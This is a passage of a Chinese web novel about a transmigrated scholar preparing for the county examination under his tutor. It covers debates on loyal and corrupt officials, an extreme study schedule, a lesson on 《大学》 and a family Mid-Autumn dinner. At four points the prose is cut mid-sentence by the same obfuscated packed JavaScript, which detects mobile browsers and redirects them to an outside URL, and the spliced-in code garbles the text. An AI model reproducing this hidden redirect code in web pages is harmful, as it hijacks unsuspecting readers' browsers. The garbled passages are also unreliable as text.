秦先生狠狠吸了一口烟斗，不留痕迹地叹了一口气，“罢罢罢，你说吧。” “学生请问，县试之出题考官与阅卷考官为谁？” 秦先生将烟斗磕在桌上，白色的灰簌簌落下来，“均为安平知县。” “既然均为安平知县，那他对四书五经之内容，定有一番自己的见解。通过详析往届通过县试之人的答卷，必然能够找到踪迹。再者作为一县之父母官，知县大人施政之法也必暗含了他的思想。只要从这两方面下手，通过考试的概率可以说是大大增加了。” “你现在便如此钻营，迎合考官，日后还待如何？” 段之缙轻笑，“若先生以为这便是钻营，那请客吃饭、送礼行贿的又是什么？学生以为，科举考试能够求才已经实属不易，想要才德兼备似是太难了。而且学生这也并非是投机取巧，四书五经必然还要读熟读透，学生下的苦功夫也必不比别人少。” 说到此处，段之缙一顿，紧盯着秦先生道：“先生可否听说过这样一句话，脏官要奸，好官要比脏官更奸。” 秦先生抽烟的动作顿住，神情变得饶有兴味，深思了片刻脸上勾出来一个莫名的笑，“你这句话有意思……好吧，就论这句话，若你能说说服为师，为师便叫你明年下场。” “先生误会了，便是先生不许，学生明年也一定会下场的。” 这下倒是真叫秦先生刮目相看了，比起那些踢一脚走一步的学生，段之缙这样有主见的，若真能高中，前途显然会更为广大。 “好好好……为师为长，为师先论如何？” “先生请！” “奸臣之奸，是为对上阿谀奉承，对下鱼肉百姓，他们这样作奸犯科，好官一定要采取行动，因此奸臣势必要拉帮结派，有所依仗。而你所谓好官，与奸臣相提并论，要更奸，此类奸既然是好官之奸，那便不能鱼肉百姓，奸之一字是否要体现在阿谀奉承、刁钻诡计之上？是否也要纠集朋党？请问这是否已经忘记了“君子不党”的教训？上交不谄，下交不渎，是为君子。你一味迎合于上，又是否会到逢君之恶的程度？奸臣也要逢君之恶，忠敬之士也要逢君之恶，奸臣何以称之为奸臣？忠臣又何德何能称之为忠臣？” “学生答，请问先生，有志之士为何要做官？” “自然是上报皇恩，下抚黎民。” “如何上报皇恩？” “或以文治国抚顺小民，或以武定疆攘寇安边。” 段之缙点点头，“学生知道了。总而言之，只要能为朝廷出力，有利于我雍朝百姓，就算是报偿皇恩，下抚黎民也是报偿皇恩。那请问先生，何种官员能称之为忠臣？两袖清风家中赤贫，但是于百姓一无是处，甚至治下一片混乱的忠臣，他的忠有何用？对上阿谀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906000|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奉承，但治下百姓安乐、仓禀充足之官员，他迎合谄媚就一定是奸臣吗？” 秦慎之已经知道了眼前学生要说什么，赞赏的目光投到他的身上，“磕了一下，倒将你磕的伶俐起来，今非昔比啊。为师还有一问，正途不行吗？跟皇上弹劾不行吗？为何一定要比贪官更奸，才能惩治奸佞呢？” 段之缙再施一礼，“学生认为，贪官也是分三六九等的。最下等的是极为愚蠢暴戾之官，各种搜刮就是为了自己享乐，便是其他的贪官也瞧不惯他。其次便是有些心思之人了，会巧立名目，一切都按着律例办事，可偏偏能被他搜刮到，还知道对上笼络，平辈勾结，对下施恩，贪官瞧着他顺眼，可皇上也许看不惯他。” “那最上等的一定是叫皇帝也看得过去的了？” “先生明鉴。崇德十年，葛礼在辽河省做巡抚，弄出了惊天科举舞弊案，可偏偏是弹劾他的何其芳大人被革职留任了，葛礼倒是没有伤到分毫，两年后竟然又进京做户部尚书，当时有多少士子因为冤屈吊死在牢狱上，圣上却以大规模罢考为由下旨辽河全省停考十年，最后还是因为皇太后六十大寿才被赦免。究其原因，不过是贞慧夫人李氏是皇上的乳母之一，其子葛礼又从小侍奉潜邸时的陛下罢了。若有人能比葛礼更亲近皇上，或者皇上更爱重他，未尝不能处置葛礼。只是现在还没有罢了。清官其奸，是一种除恶的方式，他们只有用奸的方式才能叫圣主喜爱，因为便是圣人也不喜欢有人天天在耳边骂自己爱重的人，尤其是这个人还不讨自己喜欢。何况，君主还没有到圣人的地步，为何要为了你去处置自己的奶兄弟呢？” 葛礼的处置，甚至要等到男主登基，那些士子才算沉冤得雪，可那有什么用呢？何其芳大人经此一事，心灰意冷，辞官归乡，没过崇德十三年便抑郁而死，那些冤死的士子也不能复活了。 “必是因为这个清官比贪官更懂得皇上的心，能搔到皇上的痒处……你今日一番大论真是说到人的心底里了。”秦慎之的面容被层层烟雾笼住，总是看不真切。 “好！妙极！我许你明年下场，只是其中辛苦，得你自己体会了！” 段之缙松了一口气，立刻恭恭敬敬下拜，郑重道：“学生一定废寝忘食，此次一定得中！” “你先别说那些大话，我只按部就班地教过学生，从来也没遇见你这样的。你是怎么想的，暂且说来。” “学生已经拜托母亲找寻考题与答卷，在此之前请求先生先将四书五经与我讲通讲透。”段之缙说着，又退到屏风处轻声提醒，“蘋儿，与先生施礼吧。” 沈白蘋隔着屏风缓缓下拜，扬声问好，“沈氏女沈白蘋，段之缙之妻，见过先生。” 秦慎之这回儿才发现屏风后有一个人，吓了一大跳，不过他并不是什么迂腐老人，愣了一会儿展颜戏谑道：“段之缙啊段之缙，教了你八年的老夫子忘了个彻底，娇妻美眷偏偏记在心头。” 两人都有些羞怯的低下头，只不过沈白蘋是真的羞涩，段之缙则是迎合先生罢了。 “先生莫怪。诚如先生所言，学生时间实在不多，上课时想边听边默记，注释一事实在没有功夫，只能托拙荆来做，学生只背诵。望先生见谅。” “放心好了，大家都是为你了能得中，为师绝不会在此处迂腐的。” 沈白蘋和段之缙这才放心，正式开始了一天的学习。 8. 第八章 雍正作息 秦慎之磕了磕烟斗，白森森的烟灰跌落到紫檀木桌子上，正堂里烟熏雾绕，他就沉浸在这个烟里授课。 “崇德九年，皇上下诏，将县试的出题内容做了一番调整，正场时做四书文二篇，覆试做五经文一篇。上了考场，写时文要求博古通今，自盘古开天到今世的事儿你都得知道，都得能论才是。安平县知县，他这个人我知道，二甲进士出身，也是响当当有学问的人物，每一届县试他都亲自阅卷，考中了的学生他也要亲自同人家论一番学问。” 段之缙摸不着头脑，怎么考试没有原文默写吗？再者考他安平县的科举，还得跟县官面试不成？既然是面试，便有通过与未通过，于是开口问道：“先生，学生们无需默四书五经的内容吗？另外拜见知县大人的时候，若是知县大人不满意，难道还能把我们刷下去吗？” 秦先生狠狠拧了眉头，“谁跟你说的县试要默四书五经的内容？若是只考你原书的东西，哪里还有那么多的老童生？科举除了时文，还有论、策、诏、诰、表、判和诗等，问钱粮答钱粮，问水利答水利，现在县试，只考时文。” “再有，你也忘得太狠了些，安平县如何考试你都不记得了？县试一共四场，正场放一次榜，又有初覆、再覆、连覆三场，每一场都放一次榜。一般的县官，每次榜上前二十名见一见也就罢了，安平县的县令一天不吃不喝都要全见完，要是过不了他那一关，轻则名次下调，重则叫你不第。因此你不但要学四书五经，还得学史学诗，学各先贤的学问，全都融会贯通，凝到一张纸上，论的有理有据，有头有尾。” 段之缙心里一沉，“时文”也就是八股文，本以为是僵尸一般的东西，学会了四书五经便罢，结果是自己小瞧了古人。一样的文体，一样的题目，想要在这么多卷子中脱颖而出，一要看书法，一眼过去便心旷神怡，二要看内容，写出来的文章首先得凤采鸾章，更要行云流水、字字珠玑，令人信服。 为此，考官们只管阅卷，而考生要考虑的东西就太多了。 “四书五经，不考你默写背诵，一天时间你要写两篇时文，专考你怎么理解这句话，在此之间，你要打动的是别人，是知县。”秦先生顿了一下，脸上浮上来一层戏谑，“因此我叫你不要一味的迎合县官，你得知道，说服不了你自己的东西，恐怕也很难打动别人。” “现在不要说别的，你便先跟我说，历朝历代的史，你还记得多少？” 他哪知道这方世界的历史？！这不过是他读的一本小说罢了。 “学生惭愧，一概不知。” 眼见着秦先生脸上便出现了茫然，又紧跟着问道：“夏商周、秦汉魏晋、隋唐宋、吴乃至当朝，一点儿都不记得了？” 吓死了！原来前几个朝代还是一样的，看来是宋亡之后，汉人重新建立了政权。 “宋亡之后的事儿基本上不记得了，前边几代，只有大概的大事件还记得。” 秦先生神色没有一点好转，“那你也敢同为师说大话，便是一日不停地学，你能将史书吃透吗？还有诗词歌赋一类，你也不能不学。” “先生，还是叫我试试吧。”时间虽然紧迫，但是作为一个读过大学，学过思想政治课程的人，他不认为他的思想深度比不上古人，只要能把书啃下来，未必不能一战。 “先生，今日还请您先为我摸摸底，然后，每日下课后将第二日要讲得内容说与我，我当晚便诵下来。第二天您也不必再浪费时间，直接为学生讲解便好。至于史书……不必再为学生讲事件，只说学生应从中体悟到什么便好。您也知道，学生的时间不多，因此最多两个月，请您先为我讲完四书五经，再两个月，请您讲各代先贤的著述，剩下的三个月，就是史书和其他的了。先生意下如何？” “便先如此吧！”秦慎之也是哀叹一声，死马当做活马医，先干了再说。 “我也不用摸底了，我在这里准备准备，你也准备准备，明天一天，《大学》一文我会讲完，但你要先证明给我看，你能一日背下《大学》、《中庸》两书，共五千余字，我才会答应你的计划，要不然一切都是空谈。还有，从来没有说将先贤之言和四书五经分开讲的，因此我四个月给你讲完这些东西，这四个月间，你得把四书五经、先贤之言和至少唐史及之前的史书全都背下，否则时间绝对是不够用的。便是县试通过了，你也难过县令那一关。” 段之缙闻言深深吐了一口气，前路困苦，可也不得不走了。 段之缙抽出《大学》一文，先通读一遍，理解了大体的意思，知悉了三纲领与八条目，理解了其中的为政以德的思想和心性论，便开始凝神静气按段背诵。 《大学》的文字还是比较熟悉的，因而一千五百余字，不过一个时辰便诵完，正恰巧是口干舌燥，心烦意乱的时候，沈白蘋身边的春华先上去给夫子添了水，又提着小壶走到段之缙身边，悄声说：“二奶奶吩咐奴婢给二爷添些水。二奶奶说了，叫二爷求稳不必求快，真真把东西记进了心里，这才是没浪费功夫呢。” 段之缙轻笑了一声，刚要叫她传话回去，让沈白蘋放心，上面端坐的秦慎之猛磕了一下烟斗，警告一般激烈地咳了起来。屏风后边的沈白蘋觉得羞，小丫头也吓得缩缩脖子，低着头钻回了屏风里边。 “有人添茶倒水，更应该专心致志才是。你说是不是啊缙儿？” 段之缙连忙应是，展开纸笔，松烟忙上来磨墨，段之缙便一笔一划，把刚才背诵的书默了出来，最后顺势另起一行，写道：“蘋儿放心。” 吹干了墨水，段之缙将默写的功课塞到了松烟手中，“去传给夫人，叫她为我对照改正，看是否有默错了的地方。” 松烟瘪着嘴偷笑，将一打纸递到屏风后，段之缙深呼吸了两下，又开始背诵《中庸》之文。 刚通读理解了意思，屏风后边的纸就传回来了，那一笔“蘋儿放心”被狠狠地涂抹去，旁边一串娟秀的小字，笔尖儿一扫尾，似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906001|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎还能看出来写字人的恼，“并无此句！慎写慎写！”惹得段之缙轻笑一声，这也算是一天的快乐事儿了。 之后的时光便苦得很，因《中庸》之文他多少也知道些，所以背得不算慢，只是如何也得小两个时辰，再是四千字，默一遍又得一个多时辰，如此，《中庸》一书，六个小时打不住。 从辰正初刻先生进了门，到酉正时分先生带着他的烟斗走出去，足足五个时辰的功夫，段之缙先费九牛二虎之力说服了秦慎之，又读书、吃饭、读书，一天下来，身子疲惫到提不起劲儿，可虽是背完了两本书，到底是自己不满意。 不行……这样的话，也就是刚刚能学完罢了…… 人还是得对自己狠一点。 一个堪称灭绝人性的作息方式一下子窜进他的脑子，一个睡四个小时，剩下的事儿用三个小时做完，如此便有十七个小时的读书时间。 大名鼎鼎的雍正作息，一天掰成两天用，就不信学不完这些书！ 说干就干！段之缙起身稍稍活动了一番，缓了缓身上酸麻胀痛的劲儿，立刻就拿出来了《论语》诵读，这是一万六千字的大工程，不是一天两天能诵完的，今儿晚上挺到子正时分，刨去松松筋骨要用的半个时辰，现下还有两个半时辰，只背诵到三分之一便好，明儿寅正时分再默不迟。 这边干得正起劲儿呢，屏风里的沈白蘋莲步轻移挪到了段之缙的书桌旁，放低了声音问道：“二爷……你不用晚饭吗？” 段之缙捏了捏书角，蹙着眉，眼睛一刻不转的盯在书上，一边默记一边回，“我日后只用中午一顿。除了父亲、母亲或者施姨娘唤我，平时你能自己定下的事儿都不必告诉我了。”沈白蘋轻点头，抱着自己的书悄声退下，怕惊了他读书。 第一天去适应这样的作息，真是够难熬的，才将将巳正二刻，大脑高速运转了一天的段之缙便要睁不开眼了，脑袋直往书桌上磕，酽茶灌了一壶，总是没什么用处，书里的“鸟之将死，其鸣也哀；人之将死，其言也善”，怎么看着看着，就全成了“人之将睡，其声也倦”呢？ 段之缙疲倦的声音坚持着从嗓子里挤出来，实在是熬得不行，将书摊在桌子上朝外喊道：“松烟！送些冰水来！” 夜里寂静非常，只留下段之缙自己的声音，空荡荡的，响彻了整个房间，无半分的回应。 “松烟？” 奇怪，松烟去哪里了？ 段之缙趿拉着木屐去看，刚要推门便见松烟气喘吁吁地跑过来，满头汗水。 “这是干什么去了？” 松烟只着急忙慌地说去了茅房，又问二爷有什么吩咐。 “弄些冰水来，叫我擦擦脸。” 冰水果然奏效，一头扎进去，困倦的脑子一个激灵便清醒了，又能“之乎者也”一段时间。 等着背完了书，段之缙也不想打扰早就睡下了的沈白蘋，稍洗漱了一番便合衣躺在了外间的榻上，将就着过了两个时辰。 9. 第九章 首日上课 “《大学》原是春秋时期曾子所做，《礼记》之第四十二篇，朱子将其从《礼记》中提出，与《中庸》、《论语》、《孟子》三书合为‘四书’，并为四书之首，合天理、明德、格物、人事为一统，修仁德化外在，治国而平天下，是为大学。” 第二天寅正时分，段之缙按照计划早早的醒了过来，也不觉得十分困倦，默了昨日所背之《论语》，出去喘了两口气便觉周身神气涌动，五体通泰，更是精神奕奕。 可等到了秦先生带着他的老伙计烟斗来了，正堂里就是一片烟雾缭绕，《大学章句集注》摊开在桌子上，先生看也不看一眼，直接讲了起来。 疲乏后知后觉地爬了上来，段之缙的神思刚跑要跑偏，一个烙铁似的烟斗立时点在了他的手背上，疼得段之缙一个激灵，浑身汗毛竖起。 “讲之前，先将《大学》背与为师听。” 段之缙立马醒神，先歉疚地给先生道歉才胸有成竹地背了起来，“大学之道，在明明德……”现下学堂里俱是段之缙的背书声，行云流水一字不错。 秦先生攒起来的眉毛这才松下些。 “随我出来吧。” 段之缙虽然不解，还是跟着先生走到了院子里。 秦先生狠狠吸了一口烟，咳嗽了两下吩咐道：“背《中庸》，大声地背，越大声越好。” 这是要干什么？难道对着天背书能有奇效？可是既然先生吩咐了，就不能不照办，段之缙压下心里疑惑，声音洪亮地开始背诵，“天命之谓性，率性之谓道，修道之谓教……” 他这边的动静越来越大，引得致知斋里洒扫的下人开始装模做样地干手里的活计，实则竖着耳朵听二爷背书。 这是怎么了？ 大家心里都有这个疑问。 以往授课，都是正堂门一关，里边人死了都没人知道，怎么今日先生带着我们二爷出来授课了？ 凑热闹的人越来越多，正堂前一小片地方，挤上了致知斋伺候的十二个小丫头小伙子，一个个拿着扫帚，简直要把台阶扫得反光。 松烟想要上去赶人，却被秦先生制止，段之缙就顶着大家火热的目光背完了《中庸》全篇，全身的肌肉都绷紧了。 最后一个字落下，秦先生咳嗽了一声，操着他天生的大嗓门开始讲话。 “你们知道缙儿为什么出来背书吗？” 下人们左顾右盼又面面相觑，一个个摇摇头。 “因为他今天走神了！上眼皮差点掉到桌子上！” 语罢，秦先生痛心疾首地回头看段之缙，“你还有多长时间就要考试了？你这个年纪你怎么睡得着觉啊！为师要是你这个情况，为师这七个月不睡觉都得读书，你怎么敢走神？” 这一通话说得下人恨不得死过去，真是肠子都悔青了，怎么就爱凑这个热闹，看了二爷的笑话？ 段之缙清秀的脸憋得通红，好似一个猴屁股，他已经很久没这么丢过人了，连连鞠躬道歉。 “学生知错了，望先生宽宥学生。” 秦先生冷哼一声，又转向鹌鹑似的小丫头小伙子，“你们也不用害怕，我管着你们二爷，断没有为难你们的意思。日后，只要正堂前有缙儿的背书声，你们就全都知道，这个不争气的东西在课上神思游离，不知去往天外何地了！”说完大袖一挥疾走进堂内，段之缙尚不知如何是好，听得秦先生大呵一声，“还不跟上！”于是立刻跟在人家屁股后边进门。 秦先生还是关爱段之缙的，知他背书背得口干舌燥，先许他喝口水，然后又接着讲起《大学》的内容。 “《大学》一文，一千五百又四十六字，字字是精华，我圣人所作立身之本、治国之要全在其中，微言大义。因此学生要学的第一篇文，就是《大学》。‘三纲领’明明德、亲民、止于至善，‘八条目’格物、致知、诚意、正心、修身、齐家、治国、平天下，是一个渐进的过程，以修德为要旨，将内在的德行外化，便能齐家、治国、平天下。” “大学之道，在明明德，在亲民，在止于至善。缙儿，你说这句话是什么意思？” 段之缙沉思片刻，回道：“大学，大人之学，要洞悉高尚的道德，亲善百姓，最后到达最高境界的善。” “大谬矣！”秦慎之的烟斗在桌上磕了两下，并无生气的模样，实际上，他问这个问题就是要叫段之缙出错，只有出了错才知道应当怎样背书。 “你背书，不是干巴巴地背下来，要思考。圣人之言，每一句都有无尽的道理，细细体味。止于至善若想说达到最高的善了，后句‘知止而后有定，定而后能静’又要做何种解释？都达到最崇高的善了，才能达到‘定’的程度，是否不合理？再有，《大学》是要教化你们的，教德行的，叫你们亲善百姓作甚？” 段之缙恍然大悟，回想起《大学》的整片结构，从格物到平天下都是一步步递进的，因此所谓“明德”、“亲民”、“止于至善”，应当是《大学》的目的，习得此书，个人能够如何。 “天降生民，已经具备了仁义礼智信，但是人都是蒙昧的，他们不能看到内心的善。” “原来是性善论，”段之缙默思，“似此，《大学》一文便要人去挖掘内心的原貌。”思及此处，段之缙再次做出了回答，“第一个‘明’该是洞悉、发现之意，‘明德’之意，当时我辈天生之仁义秉性。止于至善，其‘善’是人本身便具有的，那么‘至善’，便是懂得人本来便应该懂得的事理，因而此句之意，应当是想叫学生明白事物原貌。至于‘亲民’，学生不知何解。” 秦慎之大喜，能通过一点儿“性善论”想到此处，即便是读熟了四书五经的人再回来思考，再给他新的典籍解读，也未必能做到此种地步，顿时觉得此子未必不能通过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906002|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 县试。 “‘亲’，程子之解释为‘新’，革旧之意。是要你革新自身的混沌。” “学生知晓了。” 于是如此师生二人，一个问一个答，学生答错了，老师再去另做解释，这般过了一个多上午，一千五百余字的《大学》才全部讲完，沈白蘋在屏风后边，也记了整整一本书。 此时太阳已经从正当空慢慢往西边移，几个人才匆匆忙忙吃了些饭，秦慎之片刻都不敢耽误，连催着段之缙尽快上课。 刚展开了《中庸》一文，段之缙突然问道：“先生，您上午所讲一切，都是建立在性本善的基础上，可是有没有想过，人性本来就是邪恶的呢？或者人天生没有什么善恶之分，只是一片蒙昧罢了。” “婴儿一诞生，和小猫儿、小狗儿有什么区别，都是趴在母亲的身上吮吸乳汁，有时候吮出血都不肯放松。等着长大写了，或许也没有人教给他嫉妒，可他就是会去抢夺别人的东西。也没有人教给他刻薄，可他就是会嘲笑没有母亲的小孩儿。成人了，有些人普普通通地过了一生，有些人自然而然就是会杀人放火。” 秦先生听了微微一笑，“人性本来是什么样子，你觉得重要吗？人是能够教化的才最重要。人性本善，那么《大学》就叫他挖掘自己内心的仁德，人性本恶，那么《大学》就教化他，叫他去寻找世间的仁德。人性是蒙昧的，那就要去开化。人什么样子，全在一个字——‘教’，天生恶人有吗？为师认为没有，全是教养不当的原因。不是所有的孩子都会去嘲笑他人，抢夺他人的财物，即便这样了，他们日后也未必不能弃恶扬善。” “可是教化，对一些人并不管用，比如说赌|博，那些赌鬼跪在家人面前痛哭流涕决心悔改的时候，先生您觉得他们会改悔吗？” 秦先生吸了一口烟，长长的吐出来，“所以人不能只叫人来教化，朝廷的一个重责便是教化百姓。官员的话之所以没人敢不听，就是因为他背后是朝廷，是皇帝，离了这一切，有些人就是无法教化。” “学生明白。不过先生刚才也说了，人性不一定‘本善’不是？那刚才讲书的时候，先生便讲错了。”段之缙又重新回到了原来那个话题，秦慎之了然一笑，“你啊你……为师教你的不可能出错，天生众人，早就赋予了他们善的秉性。” “可是您刚才也说了……” 段之缙的话尚未说完便被秦慎之摆手打断，“我个人的想法不一定对，但朱子所言‘天降生民，莫不与之仁义礼智之性矣’一定是对的。你要是不听朱子说的话，天神下凡，你也别想着去考试了。你要是敢在答卷上写‘性本恶’，咱们两个人恐难逃牢狱之灾。” 原来如此，这样说来，无论什么题目，最后解出来论出来，都得和朱子的解释相合，想通过标新立异的观点取胜，是不可能的，并且可能会因为身为异端而遭受牢狱之灾。 10. 第十章 三弟发难 白日里听课晚上背书，这二十来天的时间，四书已经全然学完，融会贯通了，科举考试各种文体，现在虽还没写过，但起码段之缙知道，每一种文体应该写什么，怎么写。 太阳永远东升西落，日子一去不回头，除了中间几天心脏有些不舒服，萃佩请来大夫开了药之外，每天都是一样的，直到明天是八月十五中秋佳节，秦先生特意给段之缙放了一天假，叫他好生休息一会儿。 这个人从子正时分躺下了，就一睡不醒，仿若过世了一般，中午饭都没用上，一觉睡到了太阳西斜，一睁眼儿，就是太太身边许嬷嬷那张严正的脸，吓得段之缙拽着被子猛缩到床里边，等着看清了是谁才松下一口气。 “嬷嬷真是吓坏我了……嬷嬷今日来我这儿，是有太太有什么吩咐吗？” 许嬷嬷脸上牵连出一点儿笑，只是嘴边两道深深的纹路显得有些刻薄，“今儿是中秋团圆的好日子，太太叫奴婢来跟二爷说，老爷吩咐了在望月堂里边设宴，父子兄弟的聚在一起，好生吃一顿团圆饭，这一年都要团圆美满才是。” 段之缙属实有些日子没慢慢悠悠地吃顿好饭了，心中还有些期待，望向停下手中针线的沈白蘋，却见她一脸的茫然。 “嬷嬷，怎么今年突然要在老爷的院子里设宴？往年老爷不都是在陈姨娘的逢春院用晚饭吗？” 沈白蘋觉得有些不对，自她嫁过来两年，也只有除夕那一天是真正的团圆饭，其他的吉利日子，老爷都是和逢春院里的人团圆，可从来没和他们这些人“团圆”过。 其实王虞和许嬷嬷也没弄清楚今年是怎么回事儿，哪里来的这么好的兴致吃劳什子团圆饭，连带着太太也请上了。 “太太心里也疑得很，只是老爷吩咐了，二爷又是亲儿子，总不能不去。” 段之缙是大风大浪见惯了的人，今日只是吃个饭罢了，索性先去了，到时候见招拆招。打定主意，段之缙笑着跟沈白蘋说：“总不能去了之后老爷说今天要吃‘儿子肉’，叫我跳到锅里吧？” 他这样一句戏谑的话叫人哭笑不得，许嬷嬷见他没有忧惧的模样也放下心来，行了个礼便回主院去跟太太回话。 “二爷……今天晚上还是小心些吧，我怕他们来者不善。”沈白蘋笑过，还是有些担忧，忍不住开口提醒段之缙，段之缙趿拉着鞋子站在地上，将青衣外衫罩在身上，腰带一栓便衣冠不整地走到了水盆旁擦脸，无所谓地回道：“等会儿他们要如何现在也猜不着，何必老想着这个事儿？倘若真是老爷心血来潮，只是想着阖家团圆吃顿饭，你们岂不是白担惊受怕了？再说了，你担心什么，怕你的丈夫受委屈不想读书，叫你做不了官太太？” 沈白蘋放下手里的绣棚，一把薅过来他手里滴答着淌水的帕子，白葱似的十指攥着一拧，贴到了丈夫的面上用了些力擦拭。 这二十来天把她两年来受的苦都涤荡尽了，段之缙又爱与她说话调笑，每每说不到两句便将人弄恼，挨一顿尖牙利齿的回击。 今天也是如此，沈白蘋手上用力，嘴上也不饶人，“二爷上一回儿还说什么怪力乱神不可轻信，今儿不也信了？连个童生都不是还敢说什么官太太，我看是你想做官老爷了！”说着手上用力在段之缙后腰上拧了一把，谁知他刚醒来身上乏力，差点一脑袋栽水盆里，一把撑住了脸盆架子才稳住，倒把沈白蘋吓得不轻。 她……她怎么能对着丈夫动手呢？ 眼见着夫人的脸一下子煞白，段之缙故作担忧地跟她嘱咐道：“你可千万不能把这个事儿跟太太说。” 沈白蘋当然知道，这个事儿要是叫太太知道了，指不定要如何呢！ “要是叫太太知道，我叫四书五经亏了身子，她岂不是要当着我的面把书‘打死’？” 他又拿着那天的事儿说笑！沈白蘋这会儿也不害怕了，羞恼地瞪了段之缙一眼，故意粗手粗脚地给他收拾了一顿，夫妻二人才出了院子去望月堂。 他们两个进门的时候，只有一个老嬷嬷领着一个男孩儿在，段之缙还没反应过来这是谁，沈白蘋便先开了口。 “小叔近日可还好？” 那男孩原来是段之缙的四弟，今年才十一岁的段之绪。 段之缙跟在后边唤了一声绪儿，这样便是打过了招呼。 段之绪拘谨得很，小孩子连忙站起来回礼，口称“二哥”、“二嫂”，回道：“弟弟近日跟着夫子学些经书，哪里都好。”然后才又坐下，也不敢坐实了，只坐了一半的凳子。 三个人再也没了旁的话，木鸡一般坐着，屋子里只有奴婢在添茶倒水，来回走动。 过了一会儿，门槛边儿又出现了两个人影，一个身着月白衣裙的夫人带着一些小巧精致的首饰，手中牵着一个女孩儿走了进来。 坐着的三人连忙起身，段之缙跟在沈白蘋后边唤了姨娘，那小姑娘也脆生生地叫人，一派天真烂漫的样子，叫人喜欢。 “缙儿、蘋儿，绪儿，都不要拘礼了。”周姨娘带着女儿坐下，小女孩一会儿要喝水，一会儿要吃糕饼，气氛顿时活络了起来，沈白蘋悄悄凑到段之缙耳边提醒道：“这是周姨娘，那个妹妹是咱们家最小的妹妹，云霓丫头。” 说道云霓丫头，段云霓就跑了过来，抱住沈白蘋的胳膊偷瞧段之缙，段之缙咳了一声，猛地凑过去做鬼脸儿，把小丫头吓得躲到亲娘身后，又哼唧着抱怨道：“二哥吓唬我！娘你快教训他！” 周姨娘点点她的鼻头，只说：“二哥哄你玩呢，怎么就要娘教训他了？” 段云霓冷哼一声，又跑过去拽着段之绪玩耍，两个差不多大的孩子玩得不亦乐乎，直到王虞走进来，身边跟着许嬷嬷和施姨娘。活泼的气氛瞬间冰封，两个小孩儿立刻安静，规规矩矩地问好，然后乖巧地坐在椅子上，头也不敢抬。 “太太，姨娘。”段之缙和沈白蘋也起身问好，王虞只点点头坐下，开口便是书读的怎么样了。 “儿子自己觉得还行，先生也还算满意。” 他自己觉得如何没什么参考价值，不过秦先生还算满意的说法叫王虞多少放下了心，看来这个气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906003|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死人的好儿子也未必没有希望，心情一好也愿意疼爱他两句，“你也不要着急，这一次不中还有下一次，还是身体要紧。前几日萃佩来主院说你心悸，吓坏了我了，也吓坏了你姨娘。” “太太的嘱咐，儿子都记住了。” 王虞很是满意，锋利的目光扫过时沈白蘋顿了一下，终究还是叫他俩都坐下，段之缙凑过去跟施姨娘说话，她也不去说什么，眼睛里神思渐渐涣散，不知道陷入了何种回忆。 段父来的时候，身边热闹极了，有美妾相伴又有儿子问候，还有一个十三岁的小女儿，叽叽喳喳地在身边闹腾，娇滴滴地撒娇，好一个和和美美的一家四口，也不知他把“外人”请来吃哪一门子的团圆饭。 只是进了门，给父亲问安的问安，给丈夫见礼的见礼，每一个人脸上都是喜气洋洋的表情，仿佛亲密无间的一家子相聚在一起，谁也看不出来，背地里有多少的龃龉 唯有王虞，或许也只有王虞敢这般，仍坐在椅子上，毫不遮掩地露出来嘲讽的笑，睁眼看这一场矫情违意的表演。 段老爷也不理她，全当她不存在，招呼着大家坐下，倒真像个和善的父亲。 “纬儿、缙儿、绪儿，快动筷子吧。” 他说着，自己准备动第一筷，谁知王虞一点儿规矩都没有，也不叫人布菜，自己便夹了一块儿抓炒鱼片，刚一放到嘴中便蹙着眉捂住了口，难以忍受似地吐了出来。 “鱼片不脆，肉都炸老了，做的什么东西。” 这样的扫兴话大家听了好几年都不习惯，周姨娘和两个小姑娘更是吓得不敢喘气。 饭桌上一片机锋，段成平黑着脸吓得没人再动筷子了，段之缙却不受影响，他是来吃饭的又不是来吃气的，又十分好奇那不脆的鱼片，夹了一口放入嘴中，入口香脆，味道有些像糖醋里脊，内里却十分的软嫩。 